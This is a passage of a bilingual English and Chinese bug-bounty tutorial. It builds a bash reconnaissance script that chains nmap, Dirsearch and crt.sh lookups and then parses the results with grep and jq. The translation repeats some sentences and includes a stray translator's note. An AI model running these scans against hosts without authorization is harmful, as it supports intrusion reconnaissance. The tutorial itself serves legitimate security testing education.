这个脚本并不是非常有用，它只能扫描一个网站，scanme.nmap.org。相反，我们应该让用户提供输入参数来控制 bash 脚本，这样他们就可以选择要扫描的网站。在 bash 语法中，$1 表示传递的第一个参数，$2 为第二个参数，以此类推。同时，$@ 表示所有传入的参数，而 $# 表示参数的总数。让我们允许用户使用第一个输入参数来指定他们的目标，并将其分配给变量 $1：

#!/bin/bash
nmap $1
/PATH/TO/dirsearch.py -u $1 -e php

Now the commands will execute for whatever domain the user passes in as the first argument.

现在，命令将针对用户作为第一个参数传递的任何域执行。

Notice that the third line of the script includes /PATH/TO/dirsearch.py . You should replace /PATH/TO/ with the absolute path of the directory where you stored the Dirsearch script. If you don’t specify its location, your computer will try to look for it in the current directory, and unless you stored the Dirsearch file in the same directory as your shell script, bash won’t find it.

请注意脚本的第三行包括 /PATH/TO/dirsearch.py。你应该用 Dirsearch 脚本所在的目录的绝对路径替换 /PATH/TO/。如果你不指定其位置，你的计算机将尝试在当前目录中寻找它，除非你将 Dirsearch 文件存储在与你的 shell 脚本相同的目录中，否则 bash 将找不到它。

Another way of making sure that your script can find the commands to use is through the PATH variable, an environmental variable in Unix systems that specifies where executable binaries are found. If you run this command to add Dirsearch’s directory to your PATH , you can run the tool from anywhere without needing to specify its absolute path:

你可以通过PATH变量来确保你的脚本可以找到要使用的命令。在Unix系统中，它是一个环境变量，指定了可执行二进制文件的位置。如果你运行这个命令将Dirsearch的目录添加到PATH中，你就可以在任何地方运行该工具，而无需指定其绝对路径。

export PATH="PATH_TO_DIRSEARCH:$PATH"

After executing this command, you should be able to use Dirsearch directly:

执行此命令后，您应该能够直接使用Dirsearch:

#!/bin/bash
nmap $1
dirsearch.py -u $1 -e php

Note that you will have to run the export command again after you restart your terminal for your PATH to contain the path to Dirsearch. If you don’t want to export PATH over and over again, you can add the export command to your ~/ .bash_profile file, a file that stores your bash preferences and configuration. You can do this by opening ~/.bash_profile with your favorite text editor and adding the export command to the bottom of the file.

请注意，重启终端后，您必须再次运行导出命令，以便您的PATH包含Dirsearch路径。如果您不想一遍又一遍地导出PATH，您可以将导出命令添加到~/.bash_profile文件中，这是一个存储bash偏好和配置的文件。您可以通过用您喜欢的文本编辑器打开~/.bash_profile，并将导出命令添加到文件底部来实现这一点。

The script is complete! Save it in your current directory with the filename recon.sh . The .sh extension is the conventional extension for shell scripts. Make sure your terminal’s working directory is the same as the one where you’ve stored your script by running the command cd / location / of / your / script . Execute the script in the terminal with this command:

脚本完成了！请将其保存在当前目录中，文件名为recon.sh。 .sh 扩展名是 shell 脚本的传统扩展名。确保您终端的工作目录与存储脚本的目录相同，方法是运行命令 cd /location/of/your/script。执行此命令在终端中运行脚本：

$ ./recon.sh

You might see a message like this:

“您可能会看到这样的消息：” (Note: This is the translated content in Simplified Chinese)

permission denied: ./recon.sh

This is because the current user doesn’t have permission to execute the script. For security purposes, most files aren’t executable by default. You can correct this behavior by adding executing rights for everyone by running this command in the terminal:

这是因为当前用户没有执行脚本的权限。出于安全考虑，大多数文件默认情况下都不可执行。您可以通过在终端中运行此命令为所有人添加执行权限来更正此行为：

$ chmod +x recon.sh

The chmod command edits the permissions for a file, and +x indicates that we want to add the permission to execute for all users. If you’d like to grant executing rights for the owner of the script only, use this command instead:

"chmod命令用于编辑文件的权限，+x表示我们希望为所有用户添加执行权限。如果您只想授予脚本所有者执行权限，请改用此命令：" “chmod命令编辑文件权限，+x表示我们想要为所有用户添加执行权限。如果您只想授予脚本所有者执行权限，请使用此命令：”

$ chmod 700 recon.sh

Now run the script as we did before. Try passing in scanme.nmap.org as the first argument. You should see the output of the Nmap and Dirsearch printed out:

现在像之前一样运行脚本。尝试将scanme.nmap.org作为第一个参数传递。你应该会看到Nmap和Dirsearch的输出被打印出来：

$ ./recon.sh scanme.nmap.org
Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.062s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
25/tcp    filtered smtp
80/tcp    open     http
135/tcp   filtered msrpc
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
9929/tcp  open     nping-echo
31337/tcp open     Elite
Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds

Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6023
Error Log: /Users/vickieli/tools/dirsearch/logs/errors.log
Target: scanme.nmap.org
[11:14:30] Starting:
[11:14:32] 403 -  295B  - /.htaccessOLD2
[11:14:32] 403 -  294B  - /.htaccessOLD
[11:14:33] 301 -  316B  - /.svn  ->  http://scanme.nmap.org/.svn/
[11:14:33] 403 -  298B  - /.svn/all-wcprops
[11:14:33] 403 -  294B  - /.svn/entries
[11:14:33] 403 -  297B  - /.svn/prop-base/
[11:14:33] 403 -  296B  - /.svn/pristine/
[11:14:33] 403 -  315B  - /.svn/text-base/index.php.svn-base
[11:14:33] 403 -  297B  - /.svn/text-base/
[11:14:33] 403 -  293B  - /.svn/props/
[11:14:33] 403 -  291B  - /.svn/tmp/
[11:14:55] 301 -  318B  - /images  ->  http://scanme.nmap.org/images/
[11:14:56] 200 -    7KB - /index
[11:14:56] 200 -    7KB - /index.html
[11:15:08] 403 -  296B  - /server-status/
[11:15:08] 403 -  295B  - /server-status
[11:15:08] 301 -  318B  - /shared  ->  http://scanme.nmap.org/shared/
Task Completed

Saving Tool Output to a File

To analyze the recon results later, you may want to save your scripts’ output in a separate file. This is where input and output redirection come into play. Input redirection is using the content of a file, or the output of another program, as the input to your script. Output redirection is redirecting the output of a program to another location, such as to a file or another program. Here are some of the most useful redirection operators:

为了以后分析重新构建的结果，您可能希望将脚本输出保存在单独的文件中。这就是输入和输出重定向发挥作用的地方。输入重定向是使用文件的内容或另一个程序的输出作为脚本的输入。输出重定向是将程序的输出重定向到另一个位置，如文件或另一个程序。以下是一些最有用的重定向运算符：

PROGRAM > FILENAME Writes the program’s output into the file with that name. (It will clear any content from the file first. It will also create the file if the file does not already exist.)

PROGRAM >> FILENAME Appends the output of the program to the end of the file, without clearing the file’s original content.

PROGRAM < FILENAME Reads from the file and uses its content as the program input.

PROGRAM1 | PROGRAM2 Uses the output of PROGRAM1 as the input to PROGRAM2 .

We could, for example, write the results of the Nmap and Dirsearch scans into different files:

例如，我们可以将Nmap和Dirsearch扫描的结果写入不同的文件中：

#!/bin/bash
echo "Creating directory $1_recon." 1
mkdir $1_recon 2
nmap $1 > $1_recon/nmap 3
echo "The results of nmap scan are stored in $1_recon/nmap."
/PATH/TO/dirsearch.py -u $1 -e php 4 --simple-report=$1_recon/dirsearch
echo "The results of dirsearch scan are stored in $1_recon/dirsearch."

The echo command 1 prints a message to the terminal. Next, mkdir creates a directory with the name DOMAIN_recon 2 . We store the results of nmap into a file named nmap in the newly created directory 3 . Dirsearch’s simple-report flag 4 generates a report in the designated location. We store the results of Dirsearch to a file named dirsearch in the new directory.

echo 命令1 将消息打印到终端。接下来，mkdir 创建名为 DOMAIN_recon 2 的目录。我们将 nmap 的结果存储到新创建的目录中的名为 nmap 的文件中 3。Dirsearch 的 simple-report 标志 4 在指定位置生成报告。我们将 Dirsearch 的结果存储到新目录中名为 dirsearch 的文件中。

You can make your script more manageable by introducing variables to reference files, names, and values. Variables in bash can be assigned using the following syntax: VARIABLE_NAME = VARIABLE_VALUE . Note that there should be no spaces around the equal sign. The syntax for referencing variables is $ VARIABLE_NAME . Let’s implement these into the script:

你可以通过引入变量来使你的脚本更易于管理，以便引用文件、名称和值。Bash中的变量可以使用以下语法进行分配：VARIABLE_NAME=VARIABLE_VALUE。请注意，等号周围不应该有空格。引用变量的语法是$VARIABLE_NAME。让我们将这些引入脚本中：

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon 1
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap $DOMAIN > $DIRECTORY/nmap
echo "The results of nmap scan are stored in $DIRECTORY/nmap."
$PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php –simple-report=$DIRECTORY/dirsearch 2
echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."

We use ${DOMAIN}_recon instead of $DOMAIN_recon 1 because, otherwise, bash would recognize the entirety of DOMAIN_recon as the variable name. The curly brackets tell bash that DOMAIN is the variable name, and _recon is the plaintext we’re appending to it. Notice that we also stored the path to Dirsearch in a variable to make it easy to change in the future 2 .

我们使用${DOMAIN}_recon代替$DOMAIN_recon 1，否则，bash会将DOMAIN_recon的全部识别为变量名。花括号告诉bashDOMAIN是变量名，_recon是我们要添加的明文。请注意，我们还将Dirsearch的路径存储在变量中，以便将来轻松更改。

Using redirection, you can now write shell scripts that run many tools in a single command and save their outputs in separate files.

使用重定向，你现在可以编写Shell脚本，在一个命令中执行多个工具，并将它们的输出保存在不同的文件中。

Adding the Date of the Scan to the Output

Let’s say you want to add the current date to your script’s output, or select which scans to run, instead of always running both Nmap and Dirsearch. If you want to write tools with more functionalities like this, you have to understand some advanced shell scripting concepts.

假设你想要将当前日期添加到你的脚本输出中，或者选择运行哪个扫描工具，而不是总是运行Nmap和Dirsearch。如果你想要编写更多功能的工具，就必须理解一些高级的shell脚本概念。

For example, a useful one is command substitution , or operating on the output of a command. Using $() tells Unix to execute the command surrounded by the parentheses and assign its output to the value of a variable. Let’s practice using this syntax:

例如，一个有用的语法是命令替换，或者操作命令的输出。使用$()告诉Unix执行括号内的命令并将其输出赋值给一个变量的值。让我们练习使用这种语法：

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date) 1
echo "This scan was created on $TODAY" 2
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap $DOMAIN > $DIRECTORY/nmap
echo "The results of nmap scan are stored in $DIRECTORY/nmap."
$PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."

At 1 , we assign the output of the date command to the variable TODAY . The date command displays the current date and time. This lets us output a message indicating the day on which we performed the scan 2 .

在第1步，我们为变量TODAY分配date命令的输出。date命令显示当前日期和时间。这样，我们可以输出一个消息，指示执行扫描的日期。

Adding Options to Choose the Tools to Run

Now, to selectively run only certain tools, you need to use conditionals. In bash, the syntax of an if statement is as follows. Note that the conditional statement ends with the fi keyword, which is if backward:

现在，要选择性地运行某些工具，您需要使用条件语句。在Bash中，if语句的语法如下所示。请注意，条件语句以if关键字结尾，该关键字是if的反向形式：fi。

if [ condition 1 ]
then
  # Do if condition 1 is satisfied
elif [ condition 2 ]
then
  # Do if condition 2 is satisfied, and condition 1 is not satisfied
else
  # Do something else if neither condition is satisfied
fi

Let’s say that we want users to be able to specify the scan MODE , as such:

让我们假设我们希望用户能够指定扫描模式：

$ ./recon.sh scanmme.nmap.org MODE

We can implement this functionality like this:

我们可以这样实现此功能：

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
if [ $2 == "nmap-only" ] 1
then
  nmap $DOMAIN > $DIRECTORY/nmap 2
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
elif [ $2 == "dirsearch-only" ] 3
then
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php –simple-report=$DIRECTORY/dirsearch 4
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
else 5
  nmap $DOMAIN > $DIRECTORY/nmap 6
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
fi

If the user specifies nmap-only 1 , we run nmap only and store the results to a file named nmap 2 . If the user specifies dirsearch-only 3 , we execute and store the results of Dirsearch only 4 . If the user specifies neither 5 , we run both scans 6 .

如果用户指定了只运行nmap (nmap-only 1)，我们只运行nmap并将结果存入名为nmap的文件中 (nmap 2)。如果用户指定了只运行Dirsearch (dirsearch-only 3)，我们只执行并存储Dirsearch的结果 (4)。如果用户没有指定 (5)，我们将运行两个扫描 (6)。

Now you can make your tool run only the Nmap or Dirsearch commands by specifying one of these in the command:

现在您可以通过在命令中指定其中之一来仅运行Nmap或Dirsearch命令：

$ ./recon.sh scanme.nmap.org nmap-only
$ ./recon.sh scanme.nmap.org dirsearch-only

Running Additional Tools

What if you want the option of retrieving information from the crt.sh tool, as well? For example, you want to switch between these three modes or run all three recon tools at once:

如果您想要从crt.sh工具中检索信息，该怎么办？例如，您想在这三种模式之间切换或同时运行所有这三个recon工具。

$ ./recon.sh scanme.nmap.org nmap-only
$ ./recon.sh scanme.nmap.org dirsearch-only
$ ./recon.sh scanme.nmap.org crt-only

We could rewrite the if-else statements to work with three options: first, we check if MODE is nmap-only . Then we check if MODE is dirsearch-only , and finally if MODE is crt-only . But that’s a lot of if-else statements, making the code complicated.

我们可以将if-else语句重写为三个选项：首先，我们检查MODE是否仅限于nmap。然后，我们检查MODE是否仅限于dirsearch，最后检查MODE是否仅限于crt。但这会造成很多if-else语句，让代码变得复杂。

Instead, let’s use bash’s case statements, which allow you to match several values against one variable without going through a long list of if-else statements. The syntax of case statements looks like this. Note that the statement ends with esac , or case backward:

使用bash的case语句，而不是通过长长的if-else语句列表来匹配多个值与一个变量。case语句的语法如下。请注意，语句最后以esac或case后退结束。

case $VARIABLE_NAME in
  case1)
    Do something
    ;;
  case2)
    Do something
    ;;
  caseN)
    Do something
    ;;
  *)
    Default case, this case is executed if no other case matches.
    ;;
esac

We can improve our script by implementing the functionality with case statements instead of multiple if-else statements:

我们可以通过使用case语句而不是多个if-else语句来实现功能，从而改进我们的脚本。

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
case $2 in
  nmap-only)
    nmap $DOMAIN > $DIRECTORY/nmap
    echo "The results of nmap scan are stored in $DIRECTORY/nmap."
    ;;
  dirsearch-only)
    $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
    echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
    ;;
  crt-only)
    curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt 1
    echo "The results of cert parsing is stored in $DIRECTORY/crt."
    ;;
  *)
    nmap $DOMAIN > $DIRECTORY/nmap
    echo "The results of nmap scan are stored in $DIRECTORY/nmap."
    $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
    echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
    curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt
    echo "The results of cert parsing is stored in $DIRECTORY/crt."
    ;;
esac

The curl command 1 downloads the content of a page. We use it here to download data from crt.sh. And curl ’s -o option lets you specify an output file. But notice that our code has a lot of repetition! The sections of code that run each type of scan repeat twice. Let’s try to reduce the repetition by using functions. The syntax of a bash function looks like this:

curl命令1下载页面的内容。我们在这里使用它来从crt.sh下载数据。curl的-o选项可以让您指定输出文件。但请注意我们的代码有很多重复！运行每种扫描类型的代码段重复两次。让我们尝试通过使用函数来减少重复。Bash函数的语法如下：

FUNCTION_NAME()
{
  DO_SOMETHING
}

After you’ve declared a function, you can call it like any other shell command within the script. Let’s add functions to the script:

在声明函数之后，你可以像脚本中的任何其他shell命令一样调用它。让我们向脚本中添加函数：在脚本中添加函数后，你可以像普通的shell命令一样调用它。

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap_scan() 1
{
  nmap $DOMAIN > $DIRECTORY/nmap
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan() 2
{
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan() 3
{
  curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt
  echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
case $2 in 4
  nmap-only)
    nmap_scan
    ;;
  dirsearch-only)
    dirsearch_scan
    ;;
  crt-only)
    crt_scan
    ;;
  *)
    nmap_scan
    dirsearch_scan
    crt_scan
    ;;
esac

You can see that we’ve simplified our code. We created three functions, nmap_scan 1 , dirsearch_scan 2 , and crt_scan 3 . We put the scan and echo commands in these functions so we can call them repeatedly without writing the same code over and over 4 . This simplification might not seem like much here, but reusing code with functions will save you a lot of headaches when you write more complex programs.

你可以看到我们已经简化了我们的代码。我们创建了三个函数，nmap_scan 1，dirsearch_scan 2和crt_scan 3。我们将扫描和回显命令放入这些函数中，因此我们可以重复调用它们，而无需一遍又一遍地编写相同的代码4。尽管在这里简化可能不会有太大影响，但在编写更复杂的程序时，重用代码并使用函数将为您节省很多头疼。

Keep in mind that all bash variables are global except for input parameters like $1 , $2 , and $3 . This means that variables like $DOMAIN , $DIRECTORY , and $PATH_TO_DIRSEARCH become available throughout the script after we’ve declared them, even if they’re declared within functions. On the other hand, parameter values like $1 , $2 , and $3 can refer only to the values the function is called with, so you can’t use a script’s input arguments within a function, like this:

请记住，除了输入参数 $1、$2 和$3，所有 Bash 变量都是全局的。这意味着，在声明它们之后，例如 $DOMAIN、$DIRECTORY 和 $PATH_TO_DIRSEARCH 这样的变量在整个脚本中都可以使用，即使它们在函数内声明。另一方面，像 $1、$2 和 $3 这样的参数值只能引用函数被调用时的值，所以你不能在函数内部使用脚本的输入参数，例如：

nmap_scan()
{
  nmap $1 > $DIRECTORY/nmap
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
nmap_scan

Here, the $1 in the function refers to the first argument that nmap_scan was called with, not the argument our recon.sh script was called with. Since nmap_scan wasn’t called with any arguments, $1 is blank.

这里的函数$1指的是nmap_scan被调用时的第一个参数，而不是我们的recon.sh脚本被调用时的参数。由于nmap_scan没有被任何参数调用，$1为空。

Parsing the Results

Now we have a tool that performs three types of scans and stores the results into files. But after the scans, we’d still have to manually read and make sense of complex output files. Is there a way to speed up this process too?

现在我们有一个可以执行三种扫描并将结果存储到文件中的工具。但是，在扫描之后，我们仍然需要手动阅读和理解复杂的输出文件。有没有办法也加快这个过程呢？

Let’s say you want to search for a certain piece of information in the output files. You can use Global Regular Expression Print ( grep ) to do that. This command line utility is used to perform searches in text, files, and command outputs. A simple grep command looks like this:

假设你想在输出文件中搜索某个信息片段。你可以使用全球正则表达式打印（grep）来实现。这个命令行实用程序用于在文本、文件和命令输出中执行搜索。一个简单的 grep 命令如下：

grep password file.txt

This tells grep to search for the string password in the file file.txt , then print the matching lines in standard output. For example, we can quickly search the Nmap output file to see if the target has port 80 open:

这告诉grep在file.txt文件中搜索字符串"password"，然后在标准输出中打印匹配的行。例如，我们可以快速搜索Nmap输出文件，看看目标是否开放了80端口：

$ grep 80 TARGET_DIRECTORY/nmap
80/tcp open http

You can also make your search more flexible by using regular expressions in your search string. A regular expression , or regex , is a special string that describes a search pattern. It can help you display only specific parts of the output. For example, you may have noticed that the output of the Nmap command looks like this:

你也可以使用正则表达式来让搜索更加灵活。正则表达式（又称为 regex）是一种描述搜索模式的特殊字符串。它可以帮助你仅显示输出中的特定部分。例如，你可能已经注意到 Nmap 命令输出的结果具有如下的格式：

Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.065s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds

You might want to trim the irrelevant messages from the file so it looks more like this:

你可能需要从文件中修剪不相关的消息，使其看起来更像这样：

PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite

Use this command to filter out the messages at the start and end of Nmap’s output and keep only the essential part of the report:

使用此命令过滤掉Nmap输出的开头和结尾的消息，只保留报告的关键部分：

grep -E "^\S+\s+\S+\s+\S+$" DIRECTORY/nmap > DIRECTORY/nmap_cleaned

The -E flag tells grep you’re using a regex. A regex consists of two parts: constants and operators. Constants are sets of strings, while operators are symbols that denote operations over these strings. These two elements together make regex a powerful tool of pattern matching. Here’s a quick overview of regex operators that represent characters:

-E标志告诉grep你正在使用正则表达式。正则表达式由常量和运算符两部分组成。常量是一组字符串，而运算符是表示对这些字符串进行操作的符号。这两个元素共同使正则表达式成为强大的模式匹配工具。以下是表示字符的正则表达式运算符的快速概述：

\d matches any digit.

\w matches any character.

\s matches any whitespace, and \S matches any non-whitespace.

. matches with any single character.

\ escapes a special character.

^ matches the start of the string or line.

$ matches the end of the string or line.

Several operators also specify the number of characters to match:

一些运算符还指定要匹配的字符数：

* matches the preceding character zero or more times.

+ matches the preceding character one or more times.

{3} matches the preceding character three times.

{1, 3} matches the preceding character one to three times.

{1, } matches the preceding character one or more times.

[ abc ] matches one of the characters within the brackets.

[ a - z ] matches one of the characters within the range of a to z .

( a | b | c ) matches either a or b or c .

Let’s take another look at our regex expression here. Remember how \s matches any whitespace, and \S matches any non-whitespace? This means \s+ would match any whitespace one or more characters long, and \S+ would match any non-whitespace one or more characters long. This regex pattern specifies that we should extract lines that contain three strings separated by two whitespaces:

让我们再看一下我们的正则表达式。记得 \s 匹配任何空格，而 \S 匹配任何非空白字符吗？这意味着 \s+ 将匹配任何一个或多个字符长的空格，而 \S+ 将匹配任何一个或多个字符长的非空白。此正则表达式模式指定我们应该提取包含由两个空格分隔的三个字符串的行：

"^\S+\s+\S+\s+\S+$"

The filtered output will look like this:

筛选后的输出将如下所示：

PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite

To account for extra whitespaces that might be in the command output, let’s add two more optional spaces around our search string:

为了考虑命令输出中可能存在的额外空格，请在我们的搜索字符串周围再添加两个可选的空格：

"^\s*\S+\s+\S+\s+\S+\s*$"

You can use many more advanced regex features to perform more sophisticated matching. However, this simple set of operators serves well for our purposes. For a complete guide to regex syntax, read RexEgg’s cheat sheet ( https://www.rexegg.com/regex-quickstart.html ).

你可以使用许多更高级的正则表达式功能来执行更复杂的匹配。但是，这个简单的操作符集对我们的目的非常有用。有关正则表达式语法的完整指南，请阅读RexEgg的备忘单（https://www.rexegg.com/regex-quickstart.html）。

Building a Master Report

What if you want to produce a master report from all three output files? You need to parse the JSON file from crt.sh. You can do this with jq , a command line utility that processes JSON. If we examine the JSON output file from crt.sh, we can see that we need to extract the name_value field of each certificate item to extract domain names. This command does just that:

如果您想从所有三个输出文件中生成主报告怎么办？您需要解析crt.sh中的JSON文件。您可以使用jq，这是一种处理JSON的命令行实用程序。如果我们检查crt.sh的JSON输出文件，我们可以看到我们需要提取每个证书项目的name_value字段以提取域名。这个命令就是这样做的：

$ jq -r ".[] | .name_value" $DOMAIN/crt

The -r flag tells jq to write the output directly to standard output rather than format it as JSON strings. The .[] iterates through the array within the JSON file, and .name_value extracts the name_value field of each item. Finally, $DOMAIN/crt is the input file to the jq command. To learn more about how jq works, read its manual ( https://stedolan.github.io/jq/manual/ ).

-r标志告诉jq直接将输出写入标准输出，而不是将其格式化为JSON字符串。 . []遍历JSON文件中的数组，.name_value提取每个项目的name_value字段。最后，$ DOMAIN / crt是传递给jq命令的输入文件。要了解有关jq如何工作的更多信息，请阅读其手册（https://stedolan.github.io/jq/manual/）。

To combine all output files into a master report, write a script like this:

将所有输出文件组合成主报告，请编写以下脚本：将所有输出文件组合成主报告，编写类似于此的脚本：

#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap_scan()
{
  nmap $DOMAIN > $DIRECTORY/nmap
  echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{
  $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
  echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{
  curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt
  echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
case $2 in
  nmap-only)
    nmap_scan
    ;;
  dirsearch-only)
    dirsearch_scan
    ;;
  crt-only)
    crt_scan
    ;;
  *)
    nmap_scan
    dirsearch_scan
    crt_scan
    ;;
esac
echo "Generating recon report from output files..."
TODAY=$(date)
echo "This scan was created on $TODAY" > $DIRECTORY/report 1
echo "Results for Nmap:" >> $DIRECTORY/report
grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report 2
echo "Results for Dirsearch:" >> $DIRECTORY/report
cat $DIRECTORY/dirsearch >> $DIRECTORY/report 3
echo "Results for crt.sh:" >> $DIRECTORY/report
jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report 4

First, we create a new file named report and write today’s date into it 1 to keep track of when the report was generated. We then append the results of the nmap and dirsearch commands into the report file 2 . The cat command prints the contents of a file to standard output, but we can also use it to redirect the content of the file into another file 3 . Finally, we extract domain names from the crt.sh report and append it to the end of the report file 4 .

首先，我们创建一个名为 report 的新文件，并将今天的日期写入其中 1，以跟踪报告生成的时间。然后，将 nmap 和 dirsearch 命令的结果追加到报告文件中 2。cat 命令可以将文件内容打印到标准输出，但我们也可以使用它将文件内容重定向到另一个文件 3。最后，我们从 crt.sh 报告中提取域名，并将其追加到报告文件的末尾 4。

Scanning Multiple Domains

What if we want to scan multiple domains at once? When reconning a target, we might start with several of the organization’s domain names. For example, we know that Facebook owns both facebook.com and fbcdn.net . But our current script allows us to scan only one domain at a time. We need to write a tool that can scan multiple domains with a single command, like this:

如果我们想要一次扫描多个域名怎么办？在对目标进行侦察时，我们可能会从组织的几个域名开始。例如，我们知道Facebook拥有facebook.com和fbcdn.net。但是我们当前的脚本只允许我们一次只扫描一个域名。我们需要编写一个工具，可以用一个命令扫描多个域名，就像这样：

./recon.sh facebook.com fbcdn.net nmap-only

When we scan multiple domains like this, we need a way to distinguish which arguments specify the scan MODE and which specify target domains. As you’ve already seen from the tools I introduced, most tools allow users to modify the behavior of a tool by using command line option s or flags , such as -u and --simple-report .

当我们像这样扫描多个域时，我们需要一种方法来区分哪些参数指定扫描模式，哪些参数指定目标域。正如我介绍的工具已经表明的那样，大多数工具允许用户使用命令行选项或标志（例如 -u 和--简单报告）来修改工具的行为。

The getopts tool parses options from the command line by using single-character flags. Its syntax is as follows, where OPTSTRING specifies the option letters that getopts should recognize. For example, if it should recognize the options -m and -i , you should specify mi . If you want an option to contain argument values, the letter should be followed by a colon, like this: m:i . The NAME argument specifies the variable name that stores the option letter.

getopts工具使用单字母标志从命令行解析选项。它的语法如下，其中OPTSTRING指定getopts应该识别的选项字母。例如，如果它应该识别选项-m和-i，则应该指定mi。如果您希望选项包含参数值，则字母后面应跟冒号，如此m：i。NAME参数指定存储选项字母的变量名称。

getopts OPTSTRING NAME

To implement our multiple-domain scan functionality, we can let users use an -m flag to specify the scan mode and assume that all other arguments are domains. Here, we tell getopts to recognize an option if the option flag is -m and that this option should contain an input value. The getopts tool also automatically stores the value of any options into the $OPTARG variable. We can store that value into a variable named MODE:

为实现多域名扫描功能，我们可以让用户使用“-m”标志指定扫描模式，并假设所有其他参数都是域名。这里，我们告诉getopts，如果选项标志为“-m”，则应识别该选项，并且该选项应包含一个输入值。 getopts工具还会自动将任何选项的值存储到$OPTARG变量中。我们可以将该值存储到名为MODE的变量中：

getopts "m:" OPTION
MODE=$OPTARG

Now if you run the shell script with an -m flag, the script will know that you’re specifying a scan MODE ! Note that getopts stops parsing arguments when it encounters an argument that doesn’t start with the - character, so you’ll need to place the scan mode before the domain arguments when you run the script:

现在，如果你在运行shell脚本时使用-m标志，脚本将会知道你要指定扫描模式！请注意，当getopts遇到一个不以-字符开头的参数时，它会停止解析参数，因此在运行脚本时，你需要将扫描模式放在域参数之前：

./recon.sh -m nmap-only facebook.com fbcdn.net

Next, we’ll need a way to read every domain argument and perform scans on them. Let’s use loops! Bash has two types of loops: the for loop and the while loop. The for loop works better for our purposes, as we already know the number of values we are looping through. In general, you should use for loops when you already have a list of values to iterate through. You should use while loops when you’re not sure how many values to loop through but want to specify the condition in which the execution should stop.

